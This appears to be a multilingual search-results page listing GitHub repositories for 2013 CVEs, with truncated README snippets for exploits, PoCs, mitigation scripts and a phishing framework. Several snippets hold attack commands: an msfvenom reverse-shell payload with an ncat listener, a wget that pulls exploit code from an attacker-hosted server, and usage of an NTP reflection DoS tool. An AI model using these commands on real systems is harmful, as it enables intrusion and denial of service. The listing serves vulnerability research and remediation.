30832 matches found
CVE-2013-2251
このリポジトリには README がありません。...
Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation
Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation 自動的に脆弱なdavfs2 CVE-2013-4362 を持つシステムを悪用します これは何のためのものですか？ 脆弱なバージョンのdavfs2の悪用を簡略化するための2つの.shスクリプトです。 前提条件 モジュール'fuse'または'coda'の少なくとも1つがカーネルにロードされていない必要があります（PoCはデフォルトではロードされないcodaで動作します） リモートのwebdavサーバーをマウントできるユーザーである必要があります 確認方法: cat /etc/gro...
cve-2013-3900-winverifytrust-mitigation
CVE-2013-3900 緩和策 WinVerifyTrust / EnableCertPaddingCheck このリポジトリには、Tenable/Nessus の検出項目に対処する PowerShell の修復＋検証スクリプトが含まれています。 プラグイン ID: 166555 名前: WinVerifyTrust 署名検証 CVE-2013-3900 の緩和策 EnableCertPaddingCheck このスクリプトは、次の設定を行うことで WinVerifyTrust の証明書パディングチェックを強制します。 EnableCertPaddingCheck DWORD = 1...
fix_nginx_CVE-2013-4547_IB
修复nginxCVE-2013-4547IB...
vulnerability-remediation-cve-2013-3900
🛡️ Remediación de CVE-2013-3900: Validación de Firmas WinVerifyTrust 📝 Resumen del Proyecto Este proyecto demuestra un Flujo de Trabajo de Gestión de Vulnerabilidades del mundo real. Usando una VM de Azure, rastreé una falla de validación de firmas de alta severidad, la confirmé manualmente con...
vulnupnp
vulnupnp CVE-2013-0229 / CVE-2013-0230 / CVE-2012-5958 / CVE-2012-5959 に対して脆弱な uPNP デバイスを発見します...
ntpdos
ntpdos 分散型NTPリフレクションDoS CVE-2013-5211 のPoC。 使用方法 root@kitploit: $ ./ntpdos -H --== ntpdos by sepehrdad ==-- usage: ntpdos -t -s options | misc options: -t - target ip address -T - list of target ip addresses -s - ntp server ip address -S - list of ntp server ip addresses -p - number of parallel...
PCmanBoF
PCman FTP服务器缓冲区溢出与远程代码执行 CVE-2013-4730 一个利用CVE-2013-4730针对PCman FTP服务器v2.0.7的简单缓冲区溢出攻击 工作原理？ 这个简单的BoF覆盖缓冲区并执行shellcode，从而建立反向连接（反向shell） 漏洞机器： WindowsXP SP3运行PCman FTP服务器2.0.7版本 启动 $ python3 PCman.py 将shellcode替换为你自己的！ $ sudo ./msfvenom windows/shellreversetcp LHOST= LPORT=4444 启动netcat $ ncat -l...
CVE-2013-2028-x64-bypass-ssp-and-pie-PoC
NX PIE SSP ASLRをバイパスするための このPoCは安定していません。 httpサービスがダウンすることがあります。 morecore-offsetを修正し、正しいlibc-fileを選択する必要があります。...
cve-2013-2094
このリポジトリには README がありません。...
CVE-2013-3900-PowerShell-PoC
CVE-2013-3900-PowerShell-PoC このPoCは教育および研究目的のみで提供されます。 作者は、このコードの誤用またはそれによって生じた損害について一切の責任を負いません。 このPowerShellスクリプトは、CVE-2013-3900で説明されている攻撃をシミュレートするためのテストツールです。...
ACEDcup
ACEDcup ACEDcupツールは、Javaバイナリデシリアライゼーション攻撃（ACED）のためのペイロードジェネレーターです。 Apache Commons FileUpload ver = 1.3（CVE-2013-2186）およびOracle JDK ver 7u40 を対象としています。 この攻撃は、ライブラリまたはJavaの新しいバージョンでも機能します。任意のコンテンツを任意のディレクトリにアップロードできますが、 この状況ではファイル名を制御できません（例:...
CVE-2013-4322_PoC
CVE-2013-4322PoC 低速POSTチャンク転送脆弱性を実証するシンプルなPythonスクリプトPoC...
LGPwn
LGPwn LG ルートエクスプロイト 著者: [email protected] 謝辞: アップデート内の奇妙なバイナリ（spritebud）を指摘してくれた Juggie に感謝します。それがこの脆弱性を発見するきっかけとなりました。 対象: Sprite Software のバックアップソフトウェアにおけるレースコンディション。OEMによって LG Android デバイスにインストールされています。 CVE ID: CVE-2013-3685 影響:...
x-stream__xstream_CVE-2013-7285_1-4-6
XStream root@kitploit: "Java から XML へのシリアライゼーション、そして再び戻る" -- バイナリ ----------------------------------------------- すべてのバイナリアーティファクトは 'lib' ディレクトリにあります。これには xstream の jar と、ビルド時に使用されるその他のライブラリ、 またはオプションのランタイム追加機能が含まれます。kXML2 は、 XStream のパフォーマンスを大幅に向上させるため、使用をお勧めします。 -- ドキュメント...
FreeBSD-9.0-9.1-Privilege-Escalation
FreeBSD-9.0-9.1 - 特権昇格 CVE-2013-2171 作成者: [email protected] エクスプロイト方法! 1° カーネルバージョンを確認 root@kitploit: uname -a FreeBSD freebsd 9.0-RELEASE FreeBSD 9.0-RELEASE 0: Tue Jan 3 07:46:30 UTC 2012 2° このファイルをターゲットに転送 root@kitploit: 攻撃者マシン - python3 -m http.server 8080 ターゲットマシン - wget IP:8080/26368.c...
CVE-2013-3827
CVE-2013-3827 CVE-2013-3827 によるディレクトリトラバーサルを利用してアクセス可能な一般的な設定のためのクイック PoC チェッカー 使い方: 1. ニーズに合わせて traversal.py の内容を変更してください 2. python3 traversal.py...
ROOT-OS-DEBIAN-13-CVE-2013-7445 CVE-2013-7445 in linux - Patched by Root
Root has patched CVE-2013-7445 in the linux package for Root:Debian:13. Multiple fixed versions available...
phishing-frenzy
Phishing Frenzy Ruby on Rails Phishing Framework Documentation & Info Relevant up to date documentation can be found on the official Phishing Frenzy website located below Phishing Frenzy Website Please submit any tickets or issues to the github issues page Phishing Frenzy Tickets To contact us...